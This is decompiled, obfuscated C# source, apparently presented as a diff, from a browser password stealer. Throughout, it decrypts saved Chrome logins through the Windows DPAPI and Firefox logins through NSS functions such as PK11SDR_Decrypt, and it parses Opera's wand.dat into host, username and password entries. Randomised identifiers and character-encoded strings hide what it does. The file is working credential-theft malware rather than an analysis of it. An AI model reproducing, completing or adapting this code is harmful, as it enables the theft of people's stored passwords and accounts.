- string Left2 = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Decrypt((byte[]) Datas);
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left1, "", false) != 0 & Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left2, "", false) != 0)
- {
- string str5 = "Application: Google Chrome\r\nHost: " + str2 + "\r\nUsername: " + Left1 + "\r\nPassword: " + Left2 + "\r\n";
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items.Add((object) str5);
- }
- checked { ++num; }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- object obj;
- return obj;
- }
-
- public static string Decrypt(byte[] Datas)
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB();
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB();
- GCHandle gcHandle = GCHandle.Alloc((object) Datas, GCHandleType.Pinned);
- dataIn.pbData = gcHandle.AddrOfPinnedObject();
- dataIn.cbData = Datas.Length;
- gcHandle.Free();
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 0, ref pDataOut);
- byte[] numArray = new byte[checked (pDataOut.cbData + 1)];
- Marshal.Copy(pDataOut.pbData, numArray, 0, pDataOut.cbData);
- string str = Encoding.Default.GetString(numArray);
- return str.Substring(0, checked (str.Length - 1));
- }
-
- public static void TvDbsYmmzeKXixjs()
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Location = new Point(10, 10);
- string str1 = (string) null;
- bool flag = false;
- string str2 = Interaction.Environ(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(214)) + Conversions.ToString(Strings.Chr(161)) + "p" + Conversions.ToString(Strings.Chr(161)) + "\u0014" + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(228)) + " " + Conversions.ToString(Strings.Chr(252)) + "6F")) + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "I" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H");
- string[] directories = Directory.GetDirectories(Interaction.Environ(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(190)) + "s" + Conversions.ToString(Strings.Chr(178)) + "\u0001" + Conversions.ToString(Strings.Chr(153)))) + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "5" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H" + Conversions.ToString(Strings.Chr(189)) + ">gwuzoT"));
- int index1 = 0;
- while (index1 < directories.Length)
- {
- string str3 = directories[index1];
- if (!flag)
- {
- string[] files = Directory.GetFiles(str3);
- int index2 = 0;
- while (index2 < files.Length)
- {
- string input = files[index2];
- if (!flag)
- {
- if (Regex.IsMatch(input, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("v" + Conversions.ToString(Strings.Chr(237)) + Conversions.ToString(Strings.Chr(137)) + "Y" + Conversions.ToString(Strings.Chr(156)) + ";" + Conversions.ToString(Strings.Chr(171)) + Conversions.ToString(Strings.Chr(140)) + "\u001A" + Conversions.ToString(Strings.Chr(193)) + "\u001F|$" + Conversions.ToString(Strings.Chr(199)))))
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.oivGmTktmoB(str3);
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.signon = input;
- }
- checked { ++index2; }
- }
- else
- {
- ProjectData.EndApp();
- break;
- }
- }
- checked { ++index1; }
- }
- else
- break;
- }
- string signon = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.signon;
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem tsecItem = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem();
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result1 = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem();
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result2 = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem();
- Base @base = new Base(signon);
- DataTable dataTable1 = @base.ExecuteQuery(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + " gvuxy\u001C"));
- DataTable dataTable2 = @base.ExecuteQuery(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + "(ab}tfBa " + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(188)) + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(161)) + "\n"));
- try
- {
- foreach (DataRow row in dataTable2.Rows)
- str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("m" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(157)) + "C" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199))).ToString();
- }
- finally
- {
- System.Collections.IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.OMhwbbbdVrvk(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.bvryeuuo(), true, 0L);
- try
- {
- foreach (DataRow row in dataTable1.Rows)
- {
- string str4 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(158)) + "[" + Conversions.ToString(Strings.Chr(154)) + "6" + Conversions.ToString(Strings.Chr(185)) + Conversions.ToString(Strings.Chr(214)) + "\0" + Conversions.ToString(Strings.Chr(223)) + "\u001D/p" + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(247)) + "q" + Conversions.ToString(Strings.Chr(171)) + "#p");
- string str5 = Convert.ToString(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("c" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(156)) + "Z" + Conversions.ToString(Strings.Chr(160)) + " " + Conversions.ToString(Strings.Chr(186)) + Conversions.ToString(Strings.Chr(207)) + "\0" + Conversions.ToString(Strings.Chr(196)) + "&G\u001C")].ToString());
- str1 = str4 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(225)) + Conversions.ToString(Strings.Chr(135)) + "C" + Conversions.ToString(Strings.Chr(150)) + "o" + Conversions.ToString(Strings.Chr(248))) + str5;
- StringBuilder inStr1 = new StringBuilder(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(229)) + "\0p\"" + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(162)) + Conversions.ToString(Strings.Chr(232)) + "q")].ToString());
- IntPtr num = new IntPtr(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr1, inStr1.Length));
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem structure1 = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem) Marshal.PtrToStructure(num, typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem));
- if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CqSzxpvjJWBHufugp(ref structure1, ref result1, 0) == 0 && result1.SECItemLen != 0)
- {
- byte[] numArray = new byte[checked (result1.SECItemLen - 1 + 1)];
- num = new IntPtr(result1.SECItemData);
- Marshal.Copy(num, numArray, 0, result1.SECItemLen);
- str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("P" + Conversions.ToString(Strings.Chr(247)) + Conversions.ToString(Strings.Chr(139)) + "E" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray);
- }
- StringBuilder inStr2 = new StringBuilder(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(224)) + "\u0012f#" + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(247)) + "p")].ToString());
- num = new IntPtr(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr2, inStr2.Length));
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem structure2 = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem) Marshal.PtrToStructure(num, typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem));
- if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CqSzxpvjJWBHufugp(ref structure2, ref result2, 0) == 0 && result2.SECItemLen != 0)
- {
- byte[] numArray = new byte[checked (result2.SECItemLen - 1 + 1)];
- num = new IntPtr(result2.SECItemData);
- Marshal.Copy(num, numArray, 0, result2.SECItemLen);
- str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(229)) + Conversions.ToString(Strings.Chr(157)) + "D" + Conversions.ToString(Strings.Chr(132)) + ":" + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(214)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray) + Environment.NewLine;
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Text = str1;
- }
- }
- }
- finally
- {
- System.Collections.IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- }
-
- [DllImport("kernel32.dll")]
- private static extern IntPtr LoadLibrary(string dllFilePath);
-
- [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
-
- public static long oivGmTktmoB(string configdir)
- {
- string str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "mozcrt19.dll");
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nspr4.dll");
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "plc4.dll");
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "plds4.dll");
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "ssutil3.dll");
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "mozsqlite3.dll");
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nssutil3.dll");
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "softokn3.dll");
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3 = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nss3.dll");
- return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "NSS_Init"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate)))(configdir);
- }
-
- public static long bvryeuuo() => ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate2) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11_GetInternalKeySlot"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate2)))();
-
- public static long OMhwbbbdVrvk(long slot, bool loadCerts, long wincx) => ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate3) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11_Authenticate"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate3)))(slot, loadCerts, wincx);
-
- public static int xSGTjizteYUcgxxr(
- IntPtr arenaOpt,
- IntPtr outItemOpt,
- StringBuilder inStr,
- int inLen)
- {
- return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate4) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "NSSBase64_DecodeBuffer"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate4)))(arenaOpt, outItemOpt, inStr, inLen);
- }
-
- public static int CqSzxpvjJWBHufugp(
- ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem data,
- ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result,
- int cx)
- {
- return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate5) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11SDR_Decrypt"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate5)))(ref data, ref result, cx);
- }
-
- public static string GetOperaa()
- {
- List stringList = new List();
- string[] strArray1 = (string[]) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DecryptInfo();
- StringBuilder stringBuilder = new StringBuilder();
- string[] strArray2 = strArray1;
- int index1 = 0;
- while (index1 < strArray2.Length)
- {
- string Left = strArray2[index1];
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0)
- stringList.Add(Left);
- checked { ++index1; }
- }
- if (stringList.Count == 0)
- return " \r\n";
- string operaa;
- try
- {
- int num = checked (stringList.Count - 1);
- int index2 = 0;
- while (index2 <= num)
- {
- stringBuilder.Append("Application: Opera\r\n");
- stringBuilder.Append("Host: " + stringList[index2].Substring(0) + "\r\n");
- stringBuilder.Append("User Name: " + stringList[checked (index2 + 1)].Substring(1) + "\r\n");
- stringBuilder.Append("Password: " + stringList[checked (index2 + 2)].Substring(1) + "\r\n");
- stringList[index2].Substring(1);
- stringList[checked (index2 + 1)].Substring(1);
- stringList[checked (index2 + 2)].Substring(1);
- checked { index2 += 3; }
- }
- operaa = stringBuilder.ToString();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return operaa;
- }
-
- public static object DecryptInfo()
- {
- if (System.IO.File.Exists(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path + "\\Opera\\Opera\\wand.dat"))
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path += "\\Opera\\Opera\\wand.dat";
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.version2();
- }
- else if (System.IO.File.Exists(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path + "\\Opera\\Opera\\profile\\wand.dat"))
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path += "\\Opera\\Opera\\profile\\wand.dat";
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.version2();
- }
- return (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData;
- }
-
- private static void version2()
- {
- try
- {
- byte[] sourceArray = System.IO.File.ReadAllBytes(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path);
- int num1 = checked (sourceArray.Length - 5);
- int index1 = 0;
- while (index1 <= num1)
- {
- if (sourceArray[index1] == (byte) 0 && sourceArray[checked (index1 + 1)] == (byte) 0 && sourceArray[checked (index1 + 2)] == (byte) 0 && sourceArray[checked (index1 + 3)] == (byte) 8)
- {
- int num2 = (int) sourceArray[checked (index1 + 15)];
- byte[] numArray1 = new byte[8];
- byte[] numArray2 = new byte[checked (num2 - 1 + 1)];
- Array.Copy((Array) sourceArray, checked (index1 + 4), (Array) numArray1, 0, numArray1.Length);
- Array.Copy((Array) sourceArray, checked (index1 + 16), (Array) numArray2, 0, numArray2.Length);
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.AddObject((object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput, Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.decrypt2_method(numArray1, numArray2), (object) "\r\n")));
- checked { index1 += 11 + num2; }
- }
- checked { ++index1; }
- }
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput.Split(Conversions.ToChar(Environment.NewLine));
- int index2 = 0;
- do
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index2] = (string) null;
- checked { ++index2; }
- }
- while (index2 <= 3);
- int num3 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines.Length - 1);
- int index3 = 0;
- while (index3 <= num3)
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = (string) null;
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = (string) null;
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = (string) null;
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c = 0;
- try
- {
- if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("http://") || LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("https://") || LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("ftp://"))
- {
- if (index3 != 0)
- {
- try
- {
- int num4 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1);
- int num5 = 0;
- while (num5 <= num4)
- {
- if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num5 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F')
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num5 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1);
- checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; }
- }
- checked { ++num5; }
- }
- if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 1)
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
- else if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 2)
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
- if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("ftp://"))
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl = index3;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- else if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ftp)
- {
- if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) != 1)
- {
- if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) != 2)
- goto label_51;
- }
- try
- {
- int num6 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1);
- int num7 = 0;
- while (num7 <= num6)
- {
- if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num7 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F')
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num7 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1);
- checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; }
- }
- checked { ++num7; }
- }
- if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 1)
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
- else if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 2)
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
- checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1; }
